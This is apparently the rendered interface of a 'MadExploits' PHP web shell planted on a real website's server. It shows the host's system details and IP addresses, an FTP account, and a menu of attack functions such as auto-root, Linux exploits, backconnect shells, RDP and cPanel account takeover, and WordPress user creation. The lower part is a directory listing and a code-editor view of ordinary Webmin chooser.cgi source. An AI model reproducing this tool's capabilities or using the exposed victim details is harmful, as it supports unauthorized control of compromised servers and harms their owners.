Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
usermin /
[ HOME SHELL ]
Name
Size
Permission
Action
JSON
[ DIR ]
drwxr-xr-x
WebminUI
[ DIR ]
drwxr-xr-x
at
[ DIR ]
drwxr-xr-x
authentic-theme
[ DIR ]
drwxr-xr-x
blue-theme
[ DIR ]
drwxr-xr-x
changepass
[ DIR ]
drwxr-xr-x
chfn
[ DIR ]
drwxr-xr-x
commands
[ DIR ]
drwxr-xr-x
cron
[ DIR ]
drwxr-xr-x
cshrc
[ DIR ]
drwxr-xr-x
fetchmail
[ DIR ]
drwxr-xr-x
file
[ DIR ]
drwxr-xr-x
filemin
[ DIR ]
drwxr-xr-x
filter
[ DIR ]
drwxr-xr-x
forward
[ DIR ]
drwxr-xr-x
gnupg
[ DIR ]
drwxr-xr-x
gray-theme
[ DIR ]
drwxr-xr-x
htaccess
[ DIR ]
drwxr-xr-x
htaccess-htpasswd
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
language
[ DIR ]
drwxr-xr-x
mailbox
[ DIR ]
drwxr-xr-x
mailcap
[ DIR ]
drwxr-xr-x
man
[ DIR ]
drwxr-xr-x
mysql
[ DIR ]
drwxr-xr-x
plan
[ DIR ]
drwxr-xr-x
postgresql
[ DIR ]
drwxr-xr-x
proc
[ DIR ]
drwxr-xr-x
procmail
[ DIR ]
drwxr-xr-x
quota
[ DIR ]
drwxr-xr-x
schedule
[ DIR ]
drwxr-xr-x
shell
[ DIR ]
drwxr-xr-x
spam
[ DIR ]
drwxr-xr-x
ssh
[ DIR ]
drwxr-xr-x
telnet
[ DIR ]
drwxr-xr-x
theme
[ DIR ]
drwxr-xr-x
tunnel
[ DIR ]
drwxr-xr-x
twofactor
[ DIR ]
drwxr-xr-x
ulang
[ DIR ]
drwxr-xr-x
updown
[ DIR ]
drwxr-xr-x
usermount
[ DIR ]
drwxr-xr-x
LICENCE
1.48
KB
-rw-r--r--
LICENCE.ja
1.62
KB
-rw-r--r--
README
1.93
KB
-rw-r--r--
WebminCore.pm
7.65
KB
-rw-r--r--
acl_security.pl
2.89
KB
-rwxr-xr-x
chooser.cgi
7.21
KB
-rwxr-xr-x
config-aix
227
B
-rw-r--r--
config-cobalt-linux
264
B
-rw-r--r--
config-coherent-linux
264
B
-rw-r--r--
config-corel-linux
264
B
-rw-r--r--
config-debian-linux
264
B
-rw-r--r--
config-freebsd
256
B
-rw-r--r--
config-generic-linux
264
B
-rw-r--r--
config-gentoo-linux
264
B
-rw-r--r--
config-hpux
243
B
-rw-r--r--
config-irix
284
B
-rw-r--r--
config-lib.pl
10.83
KB
-rwxr-xr-x
config-macos
260
B
-rw-r--r--
config-mandrake-linux
278
B
-rw-r--r--
config-msc-linux
264
B
-rw-r--r--
config-netbsd
283
B
-rw-r--r--
config-open-linux
264
B
-rw-r--r--
config-openbsd
241
B
-rw-r--r--
config-openmamba-linux
264
B
-rw-r--r--
config-openserver
236
B
-rw-r--r--
config-osf1
266
B
-rw-r--r--
config-redhat-linux
264
B
-rw-r--r--
config-slackware-linux
280
B
-rw-r--r--
config-sol-linux
264
B
-rw-r--r--
config-solaris
417
B
-rw-r--r--
config-suse-linux
264
B
-rw-r--r--
config-trustix-linux
264
B
-rw-r--r--
config-turbo-linux
264
B
-rw-r--r--
config-united-linux
264
B
-rw-r--r--
config-unixware
286
B
-rw-r--r--
copyconfig.pl
4.33
KB
-rwxr-xr-x
date_chooser.cgi
2.19
KB
-rwxr-xr-x
defaultacl
98
B
-rw-r--r--
defaulttheme
16
B
-rw-r--r--
entities_map.txt
1.47
KB
-rw-r--r--
favicon.ico
14.73
KB
-rw-r--r--
feedback.cgi
6.37
KB
-rwxr-xr-x
feedback_form.cgi
3.45
KB
-rwxr-xr-x
group_chooser.cgi
7.36
KB
-rwxr-xr-x
help.cgi
2.06
KB
-rwxr-xr-x
index.cgi
5.55
KB
-rwxr-xr-x
install-module.pl
1.27
KB
-rwxr-xr-x
install-type
4
B
-rw-r--r--
javascript-lib.pl
14.69
KB
-rwxr-xr-x
lang_list.txt
3.41
KB
-rw-r--r--
maketemp.pl
424
B
-rwxr-xr-x
mime.types
12.42
KB
-rw-r--r--
miniserv.pem
974
B
-rw-r--r--
miniserv.pl
171.07
KB
-rwxr-xr-x
newmods.pl
1.25
KB
-rwxr-xr-x
os_list.txt
33.58
KB
-rw-r--r--
oschooser.pl
4.55
KB
-rwxr-xr-x
pam_login.cgi
2.65
KB
-rwxr-xr-x
password_change.cgi
7
KB
-rwxr-xr-x
password_form.cgi
1.3
KB
-rwxr-xr-x
perlpath.pl
571
B
-rwxr-xr-x
robots.txt
26
B
-rw-r--r--
rpm-name
8
B
-rw-r--r--
session_login.cgi
3.35
KB
-rwxr-xr-x
setup.sh
24.78
KB
-rwxr-xr-x
switch_user.cgi
404
B
-rwxr-xr-x
thirdparty.pl
1.73
KB
-rwxr-xr-x
uconfig.cgi
1.39
KB
-rwxr-xr-x
uconfig_save.cgi
1.46
KB
-rwxr-xr-x
ui-lib.pl
82.48
KB
-rwxr-xr-x
update-from-repo.sh
14.8
KB
-rwxr-xr-x
updateboot.pl
1.89
KB
-rwxr-xr-x
uptracker.cgi
2.88
KB
-rwxr-xr-x
user_chooser.cgi
7.29
KB
-rwxr-xr-x
usermin-debian-pam
104
B
-rw-r--r--
usermin-init
1.88
KB
-rwxr-xr-x
usermin-pam
101
B
-rw-r--r--
usermin-pam-osx
243
B
-rw-r--r--
usermin-systemd
352
B
-rw-r--r--
version
6
B
-rw-r--r--
web-lib-funcs.pl
328.14
KB
-rwxr-xr-x
web-lib.pl
907
B
-rwxr-xr-x
webmin-search-lib.pl
8.93
KB
-rwxr-xr-x
webmin_search.cgi
2.63
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : chooser.cgi
#!/usr/bin/perl # chooser.cgi # Outputs HTML for a frame-based file chooser BEGIN { push(@INC, "."); }; use WebminCore; @icon_map = ( "c", "text.gif", "txt", "text.gif", "pl", "text.gif", "cgi", "text.gif", "html", "text.gif", "htm", "text.gif", "php", "text.gif", "php5", "text.gif", "gif", "image.gif", "jpg", "image.gif", "jpeg", "image.gif", "png", "image.gif", "tar", "binary.gif" ); &init_config(); if (&get_product_name() eq 'usermin') { &switch_to_remote_user(); } %access = &get_module_acl(); # Work out root directory local @uinfo = getpwnam($remote_user); if (!$access{'root'}) { $rootdir = $uinfo[7] ? $uinfo[7] : "/"; } else { $rootdir = $access{'root'}; $rootdir =~ s/^\~/$uinfo[7]/; } # Switch to correct Unix user if (&supports_users()) { if (&get_product_name() eq 'usermin') { # Always run as Usermin login &switch_to_remote_user(); } else { # ACL determines $fileunix = $access{'fileunix'} || $remote_user; @uinfo = getpwnam($fileunix); if (!@uinfo && !$access{'fileunix'}) { @uinfo = getpwnam("nobody"); } if (@uinfo) { &switch_to_unix_user(\@uinfo); } } } &ReadParse(undef, undef, 1); # If a chroot is forced which is under the allowed root, there is no need for # a restrictred root if ($in{'chroot'} && $in{'chroot'} ne '/' && $rootdir && $rootdir ne '/' && $in{'chroot'} =~ /^\Q$rootdir\E/) { $rootdir = undef; } if ($gconfig{'os_type'} eq 'windows') { # On Windows, chroot should be empty if not use, and default path # should be c:/ if ($in{'chroot'} eq "/") { $in{'chroot'} = ""; } if ($rootdir eq "/") { $rootdir = "c:"; } } if ($in{'add'}) { # Only use last filename by default $in{'file'} =~ s/\s+$//; if ($in{'file'} =~ /\n(.*)$/) { $in{'file'} = $1; } } if ($in{'file'} =~ /^(([a-z]:)?.*\/)([^\/]*)$/i && $in{'file'} !~ /\.\./) { # File entered is valid $dir = $1; $file = $3; } else { # Fall back to default $dir = $rootdir; $dir .= '/' if ($dir !~ /\/$/); $file = ""; } $add = int($in{'add'}); if (!(-d $in{'chroot'}.$dir)) { # Entered directory does not exist $dir = $rootdir.'/'; $file = ""; } if (!&allowed_dir($dir)) { # Directory is outside allowed root $dir = $rootdir.'/'; $file = ""; } # Work out the top allowed dir $topdir = $rootdir eq "/" || $rootdir eq "c:" ? $rootdir : $access{'otherdirs'} ? "/" : $rootdir; $uchroot = &urlize($in{'chroot'}); $utype = &urlize($in{'type'}); $ufile = &urlize($in{'file'}); if ($in{'frame'} == 0) { # base frame &PrintHeader(); if ($in{'type'} == 0) { print "<title>$text{'chooser_title1'}</title>\n"; } elsif ($in{'type'} == 1) { print "<title>$text{'chooser_title2'}</title>\n"; } print "<frameset rows='*,50'>\n"; print "<frame marginwidth=5 marginheight=5 name=topframe ", "src=\"@{[&get_webprefix()]}/chooser.cgi?frame=1&file=".$ufile. "&chroot=".$uchroot."&type=".$utype."&add=$add\">\n"; print "<frame marginwidth=0 marginheight=0 name=bottomframe ", "src=\"@{[&get_webprefix()]}/chooser.cgi?frame=2&file=".$ufile. "&chroot=".$uchroot."&type=".$utype."&add=$add\" scrolling=no>\n"; print "</frameset>\n"; } elsif ($in{'frame'} == 1) { # List of files in this directory &popup_header(); print <<EOF; <script type='text/javascript'> function fileclick(f, d) { curr = top.frames[1].document.forms[0].elements[1].value; if (curr == f) { // Double-click! Enter directory or select file if (d) { // Enter this directory location = "chooser.cgi?frame=1&add=$add&chroot=$uchroot&type=$utype&file="+f+"/"; } else { // Select this file and close the window if ($add == 0) { top.opener.ifield.value = f; } else { if (top.opener.ifield.value != "") { top.opener.ifield.value += "\\n"; } top.opener.ifield.value += f; } top.close(); } } else { top.frames[1].document.forms[0].elements[1].value = f; } } function parentdir(p) { top.frames[1].document.forms[0].elements[1].value = p; location = "chooser.cgi?frame=1&chroot=$uchroot&type=$utype&file="+p; } </script> EOF print "<div id='filter_box' style='display:none;margin:0px;padding:0px;width:100%;clear:both;'>"; print &ui_textbox("filter",$text{'ui_filterbox'}, 50, 0, undef,"style='width:100%;color:#aaa;' onkeyup=\"filter_match(this.value,'row',true);\" onfocus=\"if (this.value == '".$text{'ui_filterbox'}."') {this.value = '';this.style.color='#000';}\" onblur=\"if (this.value == '') {this.value = '".$text{'ui_filterbox'}."';this.style.color='#aaa';}\""); print &ui_hr("style='width:100%;'")."</div>"; print "<b>",&text('chooser_dir', &html_escape($dir)),"</b>\n"; $ok = opendir(DIR, $in{'chroot'}.$dir); &popup_error(&text('chooser_eopen', "$!")) if (!$ok && !$in{'chroot'}); print &ui_columns_start(undef, 100); my $cnt = 0; foreach $f (sort { $a cmp $b } readdir(DIR)) { $path = "$in{'chroot'}$dir$f"; if ($f eq ".") { next; } if ($f eq ".." && ($dir eq "/" || $dir eq $topdir.'/')) { next; } if ($f =~ /^\./ && $f ne ".." && $access{'nodot'}) { next; } if (!(-d $path) && $in{'type'} == 1) { next; } @st = stat($path); $isdir = 0; undef($icon); if (-d $path) { $icon = "dir.gif"; $isdir = 1; } elsif ($path =~ /\.([^\.\/]+)$/) { $icon = $icon_map{$1}; } if (!$icon) { $icon = "unknown.gif"; } if ($f eq "..") { $dir =~ /^(.*\/)[^\/]+\/$/; $link = "<a href=\"\" onClick='parentdir(\""."e_javascript($1)."\"); return false'>"; } else { $link = "<a href=\"\" onClick='fileclick(\""."e_javascript("$dir$f")."\", $isdir); return false'>"; } local @cols; push(@cols, "$link<img border=0 src=@{[&get_webprefix()]}/images/$icon></a>"); push(@cols, "$link".&html_escape($f)."</a>"); push(@cols, &nice_size($st[7])); @tm = localtime($st[9]); push(@cols, sprintf "<tt>%.2d/%s/%.4d</tt>", $tm[3], $text{'smonth_'.($tm[4]+1)}, $tm[5]+1900); push(@cols, sprintf "<tt>%.2d:%.2d</tt>", $tm[2], $tm[1]); print &ui_columns_row(\@cols); $cnt++; } closedir(DIR); print &ui_columns_end(); if ( $cnt >= 10 ) { print "<script type='text/javascript' src='@{[&get_webprefix()]}/unauthenticated/filter_match.js?28112013'></script>"; print "<script type='text/javascript'>filter_match_box();</script>"; } &popup_footer(); } elsif ($in{'frame'} == 2) { # Current file and OK/cancel buttons &popup_header(); print <<EOF; <script type='text/javascript'> function filechosen() { if ($add == 0) { top.opener.ifield.value = document.forms[0].path.value; } else { if (top.opener.ifield.value != "") { top.opener.ifield.value += "\\n"; } top.opener.ifield.value += document.forms[0].path.value; } top.close(); } </script> EOF print &ui_form_start(undef, undef, undef, "onSubmit='filechosen(); return false'"); print &ui_table_start(undef, "width=100%", 2); print &ui_table_row(&ui_submit($text{'chooser_ok'}), &ui_textbox("path", $dir.$file, 45, 0, undef, "style='width:100%'"), 1,["width=5% valign=middle nowrap","valign=middle width=95%"]); print &ui_table_end(); print &ui_form_end(); &popup_footer(); } # allowed_dir(dir) # Returns 1 if some directory should be listable sub allowed_dir { local ($dir) = @_; return 1 if ($rootdir eq "" || $rootdir eq "/" || $rootdir eq "c:"); foreach my $allowed ($rootdir, split(/\t+/, $access{'otherdirs'})) { return 1 if (&is_under_directory($allowed, $dir)); } return 0; }
Close